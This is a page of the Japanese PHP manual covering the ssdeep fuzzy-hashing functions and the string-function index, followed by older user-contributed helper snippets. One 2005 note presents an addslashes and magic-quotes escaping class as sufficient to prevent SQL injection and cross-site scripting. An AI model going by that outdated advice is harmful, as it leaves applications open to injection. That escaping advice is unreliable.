  • ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file
  • ssdeep_fuzzy_hash — Create a fuzzy hash from a string

User Contributed Notes

There are no user contributed notes for this page.


Calculates the match score between two fuzzy hash signatures

  • ≪ ssdeep 関数
  • ssdeep_fuzzy_hash_filename ≫
  • PHP Manual
  • ssdeep 関数
  • Calculates the match score between two fuzzy hash signatures

ssdeep_fuzzy_compare

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures

説明

ssdeep_fuzzy_compare ( string $signature1 , string $signature2 ) : int

Calculates the match score between signature1 and signature2 using » context-triggered piecewise hashing, and returns the match score.

パラメータ

signature1

The first fuzzy hash signature string.

signature2

The second fuzzy hash signature string.

返り値

Returns an integer from 0 to 100 on success, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Create a fuzzy hash from a file

  • ≪ ssdeep_fuzzy_compare
  • ssdeep_fuzzy_hash ≫
  • PHP Manual
  • ssdeep 関数
  • Create a fuzzy hash from a file

ssdeep_fuzzy_hash_filename

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file

説明

ssdeep_fuzzy_hash_filename ( string $file_name ) : string

ssdeep_fuzzy_hash_filename() calculates the hash of the file specified by file_name using » context-triggered piecewise hashing, and returns that hash.

パラメータ

file_name

The filename of the file to hash.

返り値

Returns a string on success, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Create a fuzzy hash from a string

  • ≪ ssdeep_fuzzy_hash_filename
  • 文字列 ≫
  • PHP Manual
  • ssdeep 関数
  • Create a fuzzy hash from a string

ssdeep_fuzzy_hash

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash — Create a fuzzy hash from a string

説明

ssdeep_fuzzy_hash ( string $to_hash ) : string

ssdeep_fuzzy_hash() calculates the hash of to_hash using » context-triggered piecewise hashing, and returns that hash.

パラメータ

to_hash

The input string.

返り値

Returns a string on success, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


文字列

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • String 関数
    • addcslashes — C 言語と同様にスラッシュで文字列をクォートする
    • addslashes — 文字列をスラッシュでクォートする
    • bin2hex — バイナリのデータを16進表現に変換する
    • chop — rtrim のエイリアス
    • chr — 数値から、1バイトの文字列を生成する
    • chunk_split — 文字列をより小さな部分に分割する
    • convert_cyr_string — キリル文字セットを他のものに変換する
    • convert_uudecode — uuencode された文字列をデコードする
    • convert_uuencode — 文字列を uuencode する
    • count_chars — 文字列で使用されている文字に関する情報を返す
    • crc32 — 文字列の crc32 多項式計算を行う
    • crypt — 文字列の一方向のハッシュ化を行う
    • echo — 1 つ以上の文字列を出力する
    • explode — 文字列を文字列により分割する
    • fprintf — フォーマットされた文字列をストリームに書き込む
    • get_html_translation_table — htmlspecialchars および htmlentities で使用される変換テーブルを返す
    • hebrev — 論理表記のヘブライ語を物理表記に変換する
    • hebrevc — 論理表記のヘブライ語を、改行の変換も含めて物理表記に変換する
    • hex2bin — 16進エンコードされたバイナリ文字列をデコードする
    • html_entity_decode — HTML エンティティを対応する文字に変換する
    • htmlentities — 適用可能な文字を全て HTML エンティティに変換する
    • htmlspecialchars_decode — 特殊な HTML エンティティを文字に戻す
    • htmlspecialchars — 特殊文字を HTML エンティティに変換する
    • implode — 配列要素を文字列により連結する
    • join — implode のエイリアス
    • lcfirst — 文字列の最初の文字を小文字にする
    • levenshtein — 二つの文字列のレーベンシュタイン距離を計算する
    • localeconv — 数値に関するフォーマット情報を得る
    • ltrim — 文字列の最初から空白 (もしくはその他の文字) を取り除く
    • md5_file — 指定したファイルのMD5ハッシュ値を計算する
    • md5 — 文字列のmd5ハッシュ値を計算する
    • metaphone — 文字列の metaphone キーを計算する
    • money_format — 数値を金額文字列にフォーマットする
    • nl_langinfo — 言語およびロケール情報を検索する
    • nl2br — 改行文字の前に HTML の改行タグを挿入する
    • number_format — 数字を千の位毎にグループ化してフォーマットする
    • ord — 文字列の先頭バイトを、0 から 255 までの値に変換する
    • parse_str — 文字列を処理し、変数に代入する
    • print — 文字列を出力する
    • printf — フォーマット済みの文字列を出力する
    • quoted_printable_decode — quoted-printable 文字列を 8 ビット文字列に変換する
    • quoted_printable_encode — 8 ビット文字列を quoted-printable 文字列に変換する
    • quotemeta — メタ文字をクォートする
    • rtrim — 文字列の最後から空白 (もしくはその他の文字) を取り除く
    • setlocale — ロケール情報を設定する
    • sha1_file — ファイルの sha1 ハッシュを計算する
    • sha1 — 文字列の sha1 ハッシュを計算する
    • similar_text — 二つの文字列の間の類似性を計算する
    • soundex — 文字列の soundex キーを計算する
    • sprintf — フォーマットされた文字列を返す
    • sscanf — フォーマット文字列に基づき入力を処理する
    • str_contains — 指定された部分文字列が、文字列に含まれるかを調べる
    • str_ends_with — 文字列が、指定された文字列で終わるかを調べる。
    • str_getcsv — CSV 文字列をパースして配列に格納する
    • str_ireplace — 大文字小文字を区別しない str_replace
    • str_pad — 文字列を固定長の他の文字列で埋める
    • str_repeat — 文字列を反復する
    • str_replace — 検索文字列に一致したすべての文字列を置換する
    • str_rot13 — 文字列に rot13 変換を行う
    • str_shuffle — 文字列をランダムにシャッフルする
    • str_split — 文字列を配列に変換する
    • str_starts_with — 文字列が指定された部分文字列で始まるかを調べる
    • str_word_count — 文字列に使用されている単語についての情報を返す
    • strcasecmp — 大文字小文字を区別しないバイナリセーフな文字列比較を行う
    • strchr — strstr のエイリアス
    • strcmp — バイナリセーフな文字列比較
    • strcoll — ロケールに基づく文字列比較
    • strcspn — マスクにマッチしない最初のセグメントの長さを返す
    • strip_tags — 文字列から HTML および PHP タグを取り除く
    • stripcslashes — addcslashes でクォートされた文字列をアンクォートする
    • stripos — 大文字小文字を区別せずに文字列が最初に現れる位置を探す
    • stripslashes — クォートされた文字列のクォート部分を取り除く
    • stristr — 大文字小文字を区別しない strstr
    • strlen — 文字列の長さを得る
    • strnatcasecmp — "自然順"アルゴリズムにより大文字小文字を区別しない文字列比較を行う
    • strnatcmp — "自然順"アルゴリズムにより文字列比較を行う
    • strncasecmp — バイナリセーフで大文字小文字を区別しない文字列比較を、最初の n 文字について行う
    • strncmp — 最初の n 文字についてバイナリセーフな文字列比較を行う
    • strpbrk — 文字列の中から任意の文字を探す
    • strpos — 文字列内の部分文字列が最初に現れる場所を見つける
    • strrchr — 文字列中に文字が最後に現れる場所を取得する
    • strrev — 文字列を逆順にする
    • strripos — 文字列中で、特定の(大文字小文字を区別しない)文字列が最後に現れた位置を探す
    • strrpos — 文字列中に、ある部分文字列が最後に現れる場所を探す
    • strspn — 指定したマスク内に含まれる文字からなる文字列の最初のセグメントの長さを探す
    • strstr — 文字列が最初に現れる位置を見つける
    • strtok — 文字列をトークンに分割する
    • strtolower — 文字列を小文字にする
    • strtoupper — 文字列を大文字にする
    • strtr — 文字の変換あるいは部分文字列の置換を行う
    • substr_compare — 指定した位置から指定した長さの 2 つの文字列について、バイナリ対応で比較する
    • substr_count — 副文字列の出現回数を数える
    • substr_replace — 文字列の一部を置換する
    • substr — 文字列の一部分を返す
    • trim — 文字列の先頭および末尾にあるホワイトスペースを取り除く
    • ucfirst — 文字列の最初の文字を大文字にする
    • ucwords — 文字列の各単語の最初の文字を大文字にする
    • vfprintf — フォーマットされた文字列をストリームに書き込む
    • vprintf — フォーマットされた文字列を出力する
    • vsprintf — フォーマットされた文字列を返す
    • wordwrap — 指定した文字数で文字列を分割する
  • 変更履歴

User Contributed Notes

There are no user contributed notes for this page.


はじめに

以下の関数はすべて、文字列をいろいろな方法で操作します。正規表現や URL 処理の節にも関連する記述があります。

文字列の動作に関する情報、特にシングルクオート、ダブルクオート、 エスケープシーケンスについては、マニュアルの 型 の節にある 文字列 エントリを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

CRYPT_SALT_LENGTH int
CRYPT_STD_DES int
標準のDESベースのハッシュが crypt() 関数でサポートされているかどうかを示します。 値は常に 1 です。
CRYPT_EXT_DES int
拡張DESベースのハッシュが crypt() 関数でサポートされているかどうかを示します。 値は常に 1 です。
CRYPT_MD5 int
MD5ハッシュが crypt() 関数でサポートされているかどうかを示します。 値は常に 1 です。
CRYPT_BLOWFISH int
Blowfishハッシュが crypt() 関数でサポートされているかどうかを示します。 値は常に 1 です。
CRYPT_SHA256 int
SHA-256ハッシュが crypt() 関数でサポートされているかどうかを示します。 値は常に 1 です。
CRYPT_SHA512 int
SHA-512ハッシュが crypt() 関数でサポートされているかどうかを示します。 値は常に 1 です。
HTML_SPECIALCHARS (int)
HTML_ENTITIES (int)
ENT_COMPAT (int)
ENT_QUOTES (int)
ENT_NOQUOTES (int)
ENT_IGNORE (int)
ENT_SUBSTITUTE (int)
ENT_DISALLOWED (int)
ENT_HTML401 (int)
ENT_XML1 (int)
ENT_XHTML (int)
ENT_HTML5 (int)
CHAR_MAX (int)
LC_CTYPE (int)
LC_NUMERIC (int)
LC_TIME (int)
LC_COLLATE (int)
LC_MONETARY (int)
LC_ALL (int)
LC_MESSAGES (int)
STR_PAD_LEFT (int)
STR_PAD_RIGHT (int)
STR_PAD_BOTH (int)

User Contributed Notes

There are no user contributed notes for this page.


String 関数

参考

より強力な文字列処理および処理関数については、 Perl 互換正規表現関数 を参照してください。 マルチバイト文字のエンコーディングを扱うときは、 マルチバイト文字列関数. を参照してください。

目次

  • addcslashes — C 言語と同様にスラッシュで文字列をクォートする
  • addslashes — 文字列をスラッシュでクォートする
  • bin2hex — バイナリのデータを16進表現に変換する
  • chop — rtrim のエイリアス
  • chr — 数値から、1バイトの文字列を生成する
  • chunk_split — 文字列をより小さな部分に分割する
  • convert_cyr_string — キリル文字セットを他のものに変換する
  • convert_uudecode — uuencode された文字列をデコードする
  • convert_uuencode — 文字列を uuencode する
  • count_chars — 文字列で使用されている文字に関する情報を返す
  • crc32 — 文字列の crc32 多項式計算を行う
  • crypt — 文字列の一方向のハッシュ化を行う
  • echo — 1 つ以上の文字列を出力する
  • explode — 文字列を文字列により分割する
  • fprintf — フォーマットされた文字列をストリームに書き込む
  • get_html_translation_table — htmlspecialchars および htmlentities で使用される変換テーブルを返す
  • hebrev — 論理表記のヘブライ語を物理表記に変換する
  • hebrevc — 論理表記のヘブライ語を、改行の変換も含めて物理表記に変換する
  • hex2bin — 16進エンコードされたバイナリ文字列をデコードする
  • html_entity_decode — HTML エンティティを対応する文字に変換する
  • htmlentities — 適用可能な文字を全て HTML エンティティに変換する
  • htmlspecialchars_decode — 特殊な HTML エンティティを文字に戻す
  • htmlspecialchars — 特殊文字を HTML エンティティに変換する
  • implode — 配列要素を文字列により連結する
  • join — implode のエイリアス
  • lcfirst — 文字列の最初の文字を小文字にする
  • levenshtein — 二つの文字列のレーベンシュタイン距離を計算する
  • localeconv — 数値に関するフォーマット情報を得る
  • ltrim — 文字列の最初から空白 (もしくはその他の文字) を取り除く
  • md5_file — 指定したファイルのMD5ハッシュ値を計算する
  • md5 — 文字列のmd5ハッシュ値を計算する
  • metaphone — 文字列の metaphone キーを計算する
  • money_format — 数値を金額文字列にフォーマットする
  • nl_langinfo — 言語およびロケール情報を検索する
  • nl2br — 改行文字の前に HTML の改行タグを挿入する
  • number_format — 数字を千の位毎にグループ化してフォーマットする
  • ord — 文字列の先頭バイトを、0 から 255 までの値に変換する
  • parse_str — 文字列を処理し、変数に代入する
  • print — 文字列を出力する
  • printf — フォーマット済みの文字列を出力する
  • quoted_printable_decode — quoted-printable 文字列を 8 ビット文字列に変換する
  • quoted_printable_encode — 8 ビット文字列を quoted-printable 文字列に変換する
  • quotemeta — メタ文字をクォートする
  • rtrim — 文字列の最後から空白 (もしくはその他の文字) を取り除く
  • setlocale — ロケール情報を設定する
  • sha1_file — ファイルの sha1 ハッシュを計算する
  • sha1 — 文字列の sha1 ハッシュを計算する
  • similar_text — 二つの文字列の間の類似性を計算する
  • soundex — 文字列の soundex キーを計算する
  • sprintf — フォーマットされた文字列を返す
  • sscanf — フォーマット文字列に基づき入力を処理する
  • str_contains — 指定された部分文字列が、文字列に含まれるかを調べる
  • str_ends_with — 文字列が、指定された文字列で終わるかを調べる。
  • str_getcsv — CSV 文字列をパースして配列に格納する
  • str_ireplace — 大文字小文字を区別しない str_replace
  • str_pad — 文字列を固定長の他の文字列で埋める
  • str_repeat — 文字列を反復する
  • str_replace — 検索文字列に一致したすべての文字列を置換する
  • str_rot13 — 文字列に rot13 変換を行う
  • str_shuffle — 文字列をランダムにシャッフルする
  • str_split — 文字列を配列に変換する
  • str_starts_with — 文字列が指定された部分文字列で始まるかを調べる
  • str_word_count — 文字列に使用されている単語についての情報を返す
  • strcasecmp — 大文字小文字を区別しないバイナリセーフな文字列比較を行う
  • strchr — strstr のエイリアス
  • strcmp — バイナリセーフな文字列比較
  • strcoll — ロケールに基づく文字列比較
  • strcspn — マスクにマッチしない最初のセグメントの長さを返す
  • strip_tags — 文字列から HTML および PHP タグを取り除く
  • stripcslashes — addcslashes でクォートされた文字列をアンクォートする
  • stripos — 大文字小文字を区別せずに文字列が最初に現れる位置を探す
  • stripslashes — クォートされた文字列のクォート部分を取り除く
  • stristr — 大文字小文字を区別しない strstr
  • strlen — 文字列の長さを得る
  • strnatcasecmp — "自然順"アルゴリズムにより大文字小文字を区別しない文字列比較を行う
  • strnatcmp — "自然順"アルゴリズムにより文字列比較を行う
  • strncasecmp — バイナリセーフで大文字小文字を区別しない文字列比較を、最初の n 文字について行う
  • strncmp — 最初の n 文字についてバイナリセーフな文字列比較を行う
  • strpbrk — 文字列の中から任意の文字を探す
  • strpos — 文字列内の部分文字列が最初に現れる場所を見つける
  • strrchr — 文字列中に文字が最後に現れる場所を取得する
  • strrev — 文字列を逆順にする
  • strripos — 文字列中で、特定の(大文字小文字を区別しない)文字列が最後に現れた位置を探す
  • strrpos — 文字列中に、ある部分文字列が最後に現れる場所を探す
  • strspn — 指定したマスク内に含まれる文字からなる文字列の最初のセグメントの長さを探す
  • strstr — 文字列が最初に現れる位置を見つける
  • strtok — 文字列をトークンに分割する
  • strtolower — 文字列を小文字にする
  • strtoupper — 文字列を大文字にする
  • strtr — 文字の変換あるいは部分文字列の置換を行う
  • substr_compare — 指定した位置から指定した長さの 2 つの文字列について、バイナリ対応で比較する
  • substr_count — 副文字列の出現回数を数える
  • substr_replace — 文字列の一部を置換する
  • substr — 文字列の一部分を返す
  • trim — 文字列の先頭および末尾にあるホワイトスペースを取り除く
  • ucfirst — 文字列の最初の文字を大文字にする
  • ucwords — 文字列の各単語の最初の文字を大文字にする
  • vfprintf — フォーマットされた文字列をストリームに書き込む
  • vprintf — フォーマットされた文字列を出力する
  • vsprintf — フォーマットされた文字列を返す
  • wordwrap — 指定した文字数で文字列を分割する

User Contributed Notes

str at maphpia dot com 03-Jul-2013 08:19
I was looking for a function to find the common substring in 2 different strings. I tried both the mb_string_intersect and string_intersect functions listed here but didn't work for me. I found the algorithm at http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring#PHP so here I post you the function

<?php

/**
 * Finds the matching string between 2 strings
 *
 * @param string $string1
 * @param string $string2
 * @param number $minChars
 *
 * @return NULL|string
 *
 * @link http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring#PHP
 */
function string_intersect($string_1, $string_2)
{
    $string_1_length = strlen($string_1);
    $string_2_length = strlen($string_2);
    $return          = "";

    if ($string_1_length === 0 || $string_2_length === 0) {
        // No similarities
        return $return;
    }

    $longest_common_subsequence = array();

    // Initialize the CSL array to assume there are no similarities
    for ($i = 0; $i < $string_1_length; $i++) {
        $longest_common_subsequence[$i] = array();
        for ($j = 0; $j < $string_2_length; $j++) {
            $longest_common_subsequence[$i][$j] = 0;
        }
    }

    $largest_size = 0;

    for ($i = 0; $i < $string_1_length; $i++) {
        for ($j = 0; $j < $string_2_length; $j++) {
            // Check every combination of characters
            if ($string_1[$i] === $string_2[$j]) {
                // These are the same in both strings
                if ($i === 0 || $j === 0) {
                    // It's the first character, so it's clearly only 1 character long
                    $longest_common_subsequence[$i][$j] = 1;
                } else {
                    // It's one character longer than the string from the previous character
                    $longest_common_subsequence[$i][$j] = $longest_common_subsequence[$i - 1][$j - 1] + 1;
                }

                if ($longest_common_subsequence[$i][$j] > $largest_size) {
                    // Remember this as the largest
                    $largest_size = $longest_common_subsequence[$i][$j];
                    // Wipe any previous results
                    $return       = "";
                    // And then fall through to remember this new value
                }

                if ($longest_common_subsequence[$i][$j] === $largest_size) {
                    // Remember the largest string(s)
                    $return = substr($string_1, $i - $largest_size + 1, $largest_size);
                }
            }
            // Else, $CSL should be set to 0, which it was already initialized to
        }
    }

    // Return the list of matches
    return $return;
}
Tomek Rychtyk 08-Feb-2012 09:58
Get the intersection of two strings using array_intersect

<?php

function string_intersect($string1, $string2)
{
    $array1 = $array2 = array();

    for($i = 0, $j = 0, $s1_len = strlen($string1), $s2_len = strlen($string2);($i < $s1_len) || ($j < $s2_len); $i++, $j++) {
        if($i < $s1_len) {
            $array1[] = $string1[$i];
        }
        if($j < $s2_len) {
            $array2[] = $string2[$j];
        }
    }

    return implode('', array_intersect($array1, $array2));
}

?>

For more advanced comparison you can use array_uintersect as well.
Stephen Dewey 19-Nov-2008 05:33
If you want a function to return all text in a string up to the Nth occurrence of a substring, try the below function.

Works in PHP >= 5.

(Pommef provided another sample function for this purpose below, but I believe it is incorrect.)

<?php

// Returns all of $haystack up to (but excluding) the $n_occurrence occurrence of $needle. Therefore:
//        If there are < $n_occurrence occurrences of $needle in $haystack, the entire string will be returned.
//        If there are >= $n_occurrence occurrences of $needle in $haystack, the returned string will end before the $n_occurrence'th needle.
// This function only makes sense for $n_occurrence >= 1
function nsubstr($needle, $haystack, $n_occurrence)
{
    // After exploding by $needle, every entry in $arr except (possibly) part of the last entry should have its content returned.
    $arr = explode($needle,$haystack,$n_occurrence);
    // Examine last entry in $arr. If it contains $needle, cut out all text except for the text before $needle.
    $last = count($arr) - 1;
    $pos_in_last = strpos($arr[$last],$needle);

    if ($pos_in_last !== false)
        $arr[$last] = substr($arr[$last],0,$pos_in_last);

    return implode($needle,$arr);
}

$string = 'd24jkdslgjldk2424jgklsjg24jskgldjk24';

print 'S:  ' . $string . '<br>';
print '1: ' . nsubstr('24',$string,1) . '<br>';
print '2: ' . nsubstr('24',$string,2) . '<br>';
print '3: ' . nsubstr('24',$string,3) . '<br>';
print '4: ' . nsubstr('24',$string,4) . '<br>';
print '5: ' . nsubstr('24',$string,5) . '<br>';
print '6: ' . nsubstr('24',$string,6) . '<br>';
print '7: ' . nsubstr('24',$string,7) . '<br>';

/*
// prints:
S: d24jkdslgjldk2424jgklsjg24jskgldjk24
1: d
2: d24jkdslgjldk
3: d24jkdslgjldk24
4: d24jkdslgjldk2424jgklsjg
5: d24jkdslgjldk2424jgklsjg24jskgldjk
6: d24jkdslgjldk2424jgklsjg24jskgldjk24
7: d24jkdslgjldk2424jgklsjg24jskgldjk24
*/

?>

Note that this function can be combined with wordwrap() to accomplish a routine but fairly difficult web design goal, namely, limiting inline HTML text to a certain number of lines. wordwrap() can break your string using <br>, and then you can use this function to only return text up to the N'th <br>.

You will still have to make a conservative guess of the max number of characters per line with wordwrap(), but you can be more precise than if you were simply truncating a multiple-line string with substr().

See example:

<?php

$text = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida accumsan, enim quam condimentum est, vitae rutrum neque magna ac enim.';

$wrapped_text = wordwrap($text,100,'<br>',true);

$three_lines = nsubstr('<br>',$wrapped_text,3);

print '<br><br>' . $three_lines;

$four_lines = nsubstr('<br>',$wrapped_text,4);

print '<br><br>' . $four_lines;

/*
prints:

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu
dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida

*/

?>
Verdauga 19-Mar-2008 06:06
Just a note in regards to bloopletech a few posts down:

The word "and" should not be used when converting numbers to text.  "And" (at least in US English) should only be used to indicate the decimal place.

Example:
1,796,706 => one million, seven hundred ninety-six thousand, seven hundred six.
594,359.34 => five hundred ninety four thousand, three hundred fifty nine and thirty four hundredths
m 26-Jul-2007 05:10
Regarding the code for the function beginsWith($str, $sub), I found that it has problems when only one character is present after the string searched for. I found that this works better instead:

<?php
function beginsWith($str, $sub) {
    return (strncmp($str, $sub, strlen($sub)) == 0);
}
?>
mike &#34;eyes&#34; moe 17-Jun-2007 05:59
Here is a truly random string generator it uses the most common string functions it will work on anywhere.

<?php
    function random_string($max = 20){
        $chars = explode(" ", "a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9");
        for($i = 0; $i < $max; $i++){
            $rnd = array_rand($chars);
            $rtn .= base64_encode(md5($chars[$rnd]));
        }
        return substr(str_shuffle(strtolower($rtn)), 0, $max);
    }
?>
admin at rotarymulundeast dot org 30-Jul-2006 03:16
Here's an easier way to find nth...

function nth($numbex){
  if ($numbex%10 == 1 && $numbex%100 != 11) $sth='st';
  elseif ($numbex%10 == 2 && $numbex%100 != 12) $sth='nd';
  elseif ($numbex%10 == 3 && $numbex%100 != 13) $sth='rd';
  else $sth = 'th';
  return $sth;
}

there is is no need to check if the user has entered a non-integer as we may be using this function for expressing variables as well eg. ith value of x , nth root of z ,etc...
administrador(ensaimada)sphoera(punt)com 02-Mar-2006 06:10
I've prepared this simple function to obtain a string delimited between tags (not only XML tags!). Anybody needs something like this?.

<?php

function get_string_between($string, $start, $end){
    $string = " ".$string;
     $ini = strpos($string,$start);
     if ($ini == 0) return "";
     $ini += strlen($start);
     $len = strpos($string,$end,$ini) - $ini;
     return substr($string,$ini,$len);
}

$string = "this [custom] function is useless!!";
echo get_string_between($string,"[","]");
// must return "custom";
?>
more functions at http://www.sphoera.com
SteveRusin 24-Feb-2006 11:00
The functions below:

function beginsWith( $str, $sub )
function endsWith( $str, $sub )

Are correct, but flawed.  You'd need to use the === operator instead:

function beginsWith( $str, $sub ) {
   return ( substr( $str, 0, strlen( $sub ) ) === $sub );
}
function endsWith( $str, $sub ) {
   return ( substr( $str, strlen( $str ) - strlen( $sub ) ) === $sub );
}

Otherwise, endsWith would return "foobar.0" ends with ".0" as well as "0" or "00" or any amount of zeros because numerically .0 does equal 0.
navarr at gmail dot com 20-Dec-2005 06:24
stripos for PHP4.x

<?php
  function stripos($haystack,$needle) {
    return strpos(strtoupper($haystack),strtoupper($needle));
  }
?>
admin at fivestarbuy dot com 21-Oct-2005 09:18
This example lets you parse an unparsed strings variables. Warning: This could cause security leaks if you allow users to pass $variables through this engine. I recommend only using this for your Content Management System.

<?
$mytime=time();
$mydog="My Dog Ate My PHP!";

# Your Parsing String:
$s1 = 'Hyphen Variable Preserving: $mytime, and $mydog';
echo "Before: <br><br>$s1<br><br>";

# Remember, wherever you define this, it will not be defined GLOBAL into the function
# which is why we define it here. Defining it global could lead to security issues.
$vardata=get_defined_vars();

# Parse the string
$s1 = StrParse($s1,$vardata);

echo "After: <br><br>$s1";

function StrParse($str,$vardata) {
# Takes a string, or piece of data, that contains PHP Variables

 # For example, unparsed variables like:  Test using time: $mytime
 # This example shows $mytime, and not the actual variable value.
 # The end result shows the actual variable value of $mytime.

 # This is useful for building a content management system,
 # and directing your variables into your content data,
 # where content is stored in a file or database, unparsed.
 # Of course this could slow down page loads, but it's a good way
 # to parse data from current variables into your loaded new data
 # making it compatible.

# Then the variables are replaced with the actual variable..
$getvarkeys=array_keys($vardata);
$ret=$str;
for ($x=0; $x < count($getvarkeys); $x++) {
    $myvar=$getvarkeys[$x];
    #echo "Variable: " . $myvar . " [" . $vardata[$myvar] . "]<br>";
    $ret=str_replace('$' . $myvar, $vardata[$myvar], $ret);
}
return $ret;

}

?>
17-Oct-2005 03:27
to: james dot d dot baker at gmail dot com

PHP has a builtin function  for doing what your function does,

http://php.net/ucfirst
http://php.net/ucwords
webmaster at cafe-clope dot net 13-Aug-2005 04:40
A comprehensive concatenation function, that works with array and strings

<?php
function str_cat() {
  $args = func_get_args() ;

  // Asserts that every array given as argument is $dim-size.
  // Keys in arrays are stripped off.
  // If no array is found, $dim stays unset.
  foreach($args as $key => $arg) {
    if(is_array($arg)) {
      if(!isset($dim))
        $dim = count($arg) ;
      elseif($dim != count($arg))
        return FALSE ;
      $args[$key] = array_values($arg) ;
    }
  }

  // Concatenation
  if(isset($dim)) {
    $result = array() ;
    for($i=0;$i<$dim;$i++) {
      $result[$i] = '' ;
      foreach($args as $arg)
        $result[$i] .= ( is_array($arg) ? $arg[$i] : $arg ) ;
    }
    return $result ;
  } else {
    return implode($args) ;
  }
}
?>

A simple example :

<?php
str_cat(array(1,2,3), '-', array('foo' => 'foo', 'bar' => 'bar', 'noop' => 'noop')) ;
?>

will return :
Array (
  [0] => 1-foo
  [1] => 2-bar
  [2] => 3-noop
)

More usefull :

<?php
$myget = $_GET ; // retrieving previous $_GET values
$myget['foo'] = 'b a r' ; // changing one value
$myget = str_cat(array_keys($myget), '=', array_map('rawurlencode', array_values($myget))) ;
$querystring = implode(ini_get('arg_separator.output'), $myget)) ;
?>

will return a valid querystring with some values changed.

Note that <?php str_cat('foo', '&', 'bar') ; ?> will return 'foo&bar', while <?php str_cat(array('foo'), '&', 'bar') ; ?> will return array(0 => foo&bar)
t0russ at gmail dot com 14-Jun-2005 10:38
to kristin at greenaple dot on dot ca:
thanx for sharing.
your function in recursive form proved to be slightly faster and it returns false (as it should) when the character is not found instead of number 0:
<?php
function strnposr($haystack, $needle, $occurance, $pos = 0) {
    return ($occurance<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurance-1,strpos($haystack, $needle, $pos) + 1);
}
?>
rh at richardhoward dot net 05-Jun-2005 11:41
<?php
/**
Utility class: static methods for cleaning & escaping untrusted (i.e.
user-supplied) strings.

Any string can (usually) be thought of as being in one of these 'modes':

pure = what the user actually typed / what you want to see on the page /
       what is actually stored in the DB
gpc  = incoming GET, POST or COOKIE data
sql  = escaped for passing safely to RDBMS via SQL (also, data from DB
       queries and file reads if you have magic_quotes_runtime on--which
       is rare)
html = safe for html display (htmlentities applied)

Always knowing what mode your string is in--using these methods to
convert between modes--will prevent SQL injection and cross-site scripting.

This class refers to its own namespace (so it can work in PHP 4--there is no
self keyword until PHP 5). Do not change the name of the class w/o changing
all the internal references.

Example usage: a POST value that you want to query with:
$username = Str::gpc2sql($_POST['username']);
*/

//This sets SQL escaping to use slashes; for Sybase(/MSSQL)-style escaping
// ( ' --> '' ), set to true.
define('STR_SYBASE', false);

class Str {
    function gpc2sql($gpc, $maxLength = false)
    {
        return Str::pure2sql(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2html($gpc, $maxLength = false)
    {
        return Str::pure2html(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2pure($gpc)
    {
        if (ini_get('magic_quotes_sybase'))
            $pure = str_replace("''", "'", $gpc);
        else $pure = get_magic_quotes_gpc() ? stripslashes($gpc) : $gpc;
        return $pure;
    }
    function html2pure($html)
    {
        return html_entity_decode($html);
    }
    function html2sql($html, $maxLength = false)
    {
        return Str::pure2sql(Str::html2pure($html), $maxLength);
    }
    function pure2html($pure, $maxLength = false)
    {
        return $maxLength ? htmlentities(substr($pure, 0, $maxLength))
                          : htmlentities($pure);
    }
    function pure2sql($pure, $maxLength = false)
    {
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return (STR_SYBASE)
               ? str_replace("'", "''", $pure)
               : addslashes($pure);
    }
    function sql2html($sql, $maxLength = false)
    {
        $pure = Str::sql2pure($sql);
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return Str::pure2html($pure);
    }
    function sql2pure($sql)
    {
        return (STR_SYBASE)
               ? str_replace("''", "'", $sql)
               : stripslashes($sql);
    }
}
?>
james dot d dot baker at gmail dot com 27-May-2005 10:45
<?php
/*
Written By James Baker, May 27th 2005

sentenceCase($string);
    $string: The string to convert to sentence case.

Converts a string into proper sentence case (First letter of each sentance capital, all the others smaller)

Example Usage:
echo sentenceCase("HELLO WORLD!!! THIS IS A CAPITALISED SENTENCE. this isn't.");

Returns:
Hello world!!! This is a capitalised sentence. This isn't.
*/

function sentenceCase($s){
    $str = strtolower($s);
    $cap = true;

    for($x = 0; $x < strlen($str); $x++){
        $letter = substr($str, $x, 1);
        if($letter == "." || $letter == "!" || $letter == "?"){
            $cap = true;
        }elseif($letter != " " && $cap == true){
            $letter = strtoupper($letter);
            $cap = false;
        }

        $ret .= $letter;
    }

    return $ret;
}
?>
php at moechofe dot com 26-Apr-2005 06:34
<?php
  /*
  * str_match
  *
  * return a string with only cacacteres defined in a expression return false if the expression is not valid
  *
  * @param $str string the string
  * @param $match the expression based on the class definition off a PCRE regular expression.
  *   the '[', ']', '\' and '^' at class start need to be escaped.
